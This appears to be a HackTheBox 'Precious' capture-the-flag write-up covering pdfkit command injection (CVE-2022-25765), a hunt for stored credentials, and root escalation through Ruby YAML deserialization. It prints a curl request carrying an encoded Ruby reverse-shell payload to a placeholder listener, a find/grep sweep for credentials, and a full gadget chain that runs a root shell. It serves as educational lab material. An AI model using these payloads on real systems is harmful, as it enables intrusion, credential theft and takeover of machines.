Hello everyone, in this writeup we are going to complete the Precious machine on HackTheBox.
Here is a little summary of the box :
Initial access
As usual, we are going to start with an nmap scan to discover what kind of services are running and accessible on the target machine.
We can find an open SSH server as well as a web server. Let’s try to see what is on the webpage. After adding precious.htb to our /etc/hosts file, we can see this page :
It looks like this website can create a PDF from any webpage we give it. This is interesting, if the input is not properly sanitized, we might have an LFI vulnerability here, for example by using iframes in the page we want to convert. Let’s see if there is any page on the server that might be inaccessible for us but not for the sever :
Well, apparently not. Let’s create a webserver on our machine with a simple HTML page and see how the website works :
python3 -m http.server 4445
If we try to convert our webpage on the site :
We get this PDF, as expected :
Now, what happens if we try to use other HTML elements ? Here is a test with an iframe trying to access /etc/passwd :
Too bad, it looks like this kind of injections wont work here. What else could there be ? We can try to look at the generated pdf in more details using pdfinfo :
We see that the file was generated using a program called pdfkit 0.8.6, maybe this software has some vulnerability ? Indeed, it seems that this version of the program is vulnerable to command injection (CVE-2022-25765). If we follow the instructions given on the GitHub page (which actually shows an example attack on this box), meaning starting an http server on port 80, starting a listener and sending this request using CURL :
curl 'precious.htb' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: precious.htb' -H 'Connection: keep-alive' -H 'Referer: precious.htb' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2Flistener_address%3Alistener_port%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%22listener_address%22%2Clistener_port%29%29%27%60'
We get a reverse shell as user ruby :
Lateral movement
Now that we have access to the system, we must try to find the user flag. By looking around a little, we can find another user, Henry, and the user flag, located in his home directory, at /home/henry/user.txt, but we can’t access it with our current privileges. Let’s try to find files that may contain information about this account. To do that, we can use find and grep to look for files containing the string ‘henry’. The 2>/dev/null part is there to hide errors when we encounter files that we cannot read. Here is the full command :
find / -type f -exec grep -H 'henry' {} \; 2>/dev/null
This can take a while, so we could also try to look into more specific folders instead of looking into / recursively. Eventually, we find a match that we can use : the file /home/ruby/.bundle/config contains this line :
This looks like credentials for henry’s account. We can now use them to ssh into the machine and get the user flag :
Hurray, we got our first flag. Now, it’s time to get root !
Privilege escalation
Running sudo -l, we see that user henry can run this command as root :
/usr/bin/ruby /opt/update_dependencies.rb
Unfortunately, no wildcard, and we cannot write to update_dependencies.rb. Let’s look at the file in question to see if we can still do something with it :
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
The script looks like it is loading a list of dependencies and versions from a file called dependencies.yml in the current directory, and checking if there is any discrepancy with the ones installed. It doesn’t look very exploitable.
After a few moments (hours) of research, we discover that this line :
YAML.load(File.read("dependencies.yml"))
is the one that is going to give us our root shell. Since we are using Ruby2.7, we can perform a YAML Deserialization attack ! If we use the provided exploit code, we get this back :
It worked ! The id command was executed by root. If we now replace it with a command giving us a shell, we can now execute any command as root. Here is the code used in dependencies.yml :
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: /bin/bash -p
method_id: :resolve
We can now run the script as root, and read the last flag :
Yay ! We’ve completed this machine ! I hope you had fun and learned a thing or two, especially about YAML deserialization attacks !
Leave a Reply